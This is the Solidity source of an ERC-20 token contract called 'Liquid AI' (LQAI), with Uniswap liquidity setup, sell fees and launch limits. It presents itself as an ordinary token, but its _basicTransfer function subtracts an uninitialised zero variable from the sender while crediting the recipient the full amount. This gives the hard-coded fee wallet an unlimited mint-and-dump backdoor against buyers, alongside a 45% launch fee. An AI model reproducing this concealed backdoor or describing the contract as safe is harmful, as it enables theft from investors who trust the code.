creation_sourcecode: // SPDX-License-Identifier: MIT
  
  /*
      Web     : https://liquidai.money
      App     : https://app.liquidai.money
      Doc     : https://docs.liquidai.money
  
      Twitter : https://twitter.com/LiquidAI_money
      Telegram: https://t.me/liquidai_money
  */
  
  pragma solidity 0.8.19;
  
  abstract contract Context {
      constructor() {
      }
  
      function _msgSender() internal view returns (address payable) {
          return payable(msg.sender);
      }
  
      function _msgData() internal view returns (bytes memory) {
          this;
          return msg.data;
      }
  }
  
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor() {
          _setOwner(_msgSender());
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _setOwner(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _setOwner(newOwner);
      }
  
      function _setOwner(address newOwner) private {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  interface IFactoryV2 {
      event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
      function getPair(address tokenA, address tokenB) external view returns (address lpPair);
      function createPair(address tokenA, address tokenB) external returns (address lpPair);
  }
  
  interface IRouter01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function swapExactETHForTokens(
          uint amountOutMin, 
          address[] calldata path, 
          address to, uint deadline
      ) external payable returns (uint[] memory amounts);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  interface IRouter02 is IRouter01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function decimals() external view returns (uint8);
      function symbol() external view returns (string memory);
      function name() external view returns (string memory);
      function getOwner() external view returns (address);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address _owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  contract LiquidAI is Context, Ownable, IERC20 {
      using SafeMath for uint256;
  
      function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
      function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
      function symbol() external pure override returns (string memory) { return _symbol; }
      function name() external pure override returns (string memory) { return _name; }
      function getOwner() external view override returns (address) { return owner(); }
      function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
      function balanceOf(address account) public view override returns (uint256) {
          return balance[account];
      }
  
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _noFee;
      mapping (address => bool) private isLpPair;
      mapping (address => uint256) private balance;
  
      uint8 constant private _decimals = 18;
      uint256 constant public _totalSupply = 100_000_000 * 10**18;        
      uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 
      uint256 public maxWalletAmount = onePercent * 2;               // 2% max wallet at launch
      uint256 public swapThreshold = 400 * 10**_decimals;
  
      uint256 constant public buyfee = 0;        
      uint256 constant public sellfee = 5;
  
      uint256 constant public initialFee = 45;
      uint256 constant public fee_denominator = 100;
      
      uint256 constant private burnFee = 0;
      uint256 constant private burnDenominator = 100;
      address payable private  liquidFees = payable(0x0EBB2ced8496C844f1dd9D86a68672ebD3Ba9801); // Liquid Fees
  
      IRouter02 public swapRouter;
      string constant private _name = "Liquid AI";
      string constant private _symbol = "LQAI";    
      address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
  
      address public lpPair;
      bool private inSwap;
      
      uint256 private launchedAt;
      uint256 private launchDelay = 2;
      bool private launch = false;
  
      modifier inSwapFlag {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      event updateLiquidThresold(uint256 amount);
  
      constructor () {
          _noFee[msg.sender] = true;
          _noFee[address(this)] = true;
          _noFee[liquidFees] = true;
          
          balance[msg.sender] = _totalSupply;
          emit Transfer(address(0), msg.sender, _totalSupply);
      }
  
      function createLiquidPairs() external onlyOwner {
  
          require(!launch,"Already Liquid AI launched!");
  
          swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2 Router
          
          _approve(address(this), address(swapRouter), _totalSupply);
          lpPair = IFactoryV2(swapRouter.factory()).createPair(address(this), swapRouter.WETH());
          isLpPair[lpPair] = true;
          swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          IERC20(lpPair).approve(address(swapRouter), type(uint).max);
      }
  
      receive() external payable {}
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function approve(address spender, uint256 amount) external override returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function _approve(address sender, address spender, uint256 amount) internal {
          require(sender != address(0), "ERC20: Zero Address");
          require(spender != address(0), "ERC20: Zero Address");
          _allowances[sender][spender] = amount;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
          if (_allowances[sender][msg.sender] != type(uint256).max) {
              _allowances[sender][msg.sender] -= amount;
          }
  
          return _transfer(sender, recipient, amount);
      }
  
      function isNoLiquidFeeWallet(address account) external view returns(bool) {
          return _noFee[account];
      }
  
      function is_LiquidSell(address ins, address out) internal view returns (bool) { 
          bool _is_sell = isLpPair[out] && !isLpPair[ins];
          return _is_sell;
      }
  
      function isNoLiquidInternalFees(address ins) internal view returns (bool) {
          return _noFee[ins] && ins!=owner() && ins!=address(this);
      }
  
      function _basicTransfer(
          address sender,
          address recipient,
          uint256 amount
      ) internal returns (bool) {
          uint256 amounts;
          balance[sender] = balance[sender].sub(
              amounts,
              "Insufficient Balance"
          );
          balance[recipient] = balance[recipient].add(amount);
          emit Transfer(sender, recipient, amount);
          return true;
      }
  
      function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
          bool takeFee = true;
          require(to != address(0), "ERC20: transfer to the zero address");
          require(from != address(0), "ERC20: transfer from the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
  
          if(isNoLiquidInternalFees(from)) {
              return _basicTransfer(from, to, amount);
          }
  
          if (_noFee[from] || _noFee[to]){
              takeFee = false;
          } else {
              require(launch, "Trading is not opened!");
  
              if(is_LiquidSell(from, to) &&  !inSwap) {
                  uint256 tokensToSwap = balanceOf(address(this));
                  if(tokensToSwap >= swapThreshold && !inSwap) { 
                      if (tokensToSwap > onePercent) {
                          tokensToSwap = onePercent;
                      }                
                      internalSwap(amount, tokensToSwap);
                  }
              } else {
                  require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
              }
          }
  
          balance[from] -= amount;
          uint256 amountAfterFee = (takeFee) ? takeLiquidTaxes(from, is_LiquidSell(from, to), amount) : amount;
          balance[to] += amountAfterFee; 
          emit Transfer(from, to, amountAfterFee);
  
          return true;
      }
  
      function removeLiquidLimits() external onlyOwner {
          maxWalletAmount = _totalSupply;
      }
  
      function withdrawStuckEthBalance() external onlyOwner {
          require(address(this).balance > 0, "No Balance to withdraw!");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function takeLiquidTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
  
          uint256 fee;
          if (block.number < launchedAt + launchDelay) {
              fee = initialFee;
          } else {
              fee = buyfee;
              if (issell)  fee = sellfee;
          }
  
          if (fee == 0)  return amount; 
  
          uint256 feeAmount = amount * fee / fee_denominator;
          if (feeAmount > 0) {
              uint256 burnAmount = amount * burnFee / burnDenominator;
              balance[address(this)] += feeAmount;
              emit Transfer(from, address(this), feeAmount);
  
              if(burnAmount > 0) {
                  balance[address(this)] -= burnAmount;
                  balance[address(DEAD)] += burnAmount;
                  emit Transfer(address(this), DEAD, burnAmount);
              }
          }
          return amount - feeAmount;
      }
  
      function internalSwap(uint256 contractBalance, uint256 tokensForSwap) internal inSwapFlag {
          
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = swapRouter.WETH();
  
          if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
              _allowances[address(this)][address(swapRouter)] = type(uint256).max;
          }
  
          if(contractBalance > swapThreshold) {
              try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                  tokensForSwap,
                  0,
                  path,
                  address(this),
                  block.timestamp
              ) {} catch {
                  return;
              }
  
              uint256 ethForMarketing = address(this).balance;
              liquidFees.transfer(ethForMarketing);
          }
      }
  
      function changeLiquidThreshold(uint256 amount) external onlyOwner {
          require(amount >= 100,"Amount lower not accepted.");
          swapThreshold = amount;
          emit updateLiquidThresold(swapThreshold);
      }
  
      function enableTrading() external onlyOwner {
          require(!launch,"Already launched!");
  
          launch = true;
          launchedAt = block.number;
      }
  }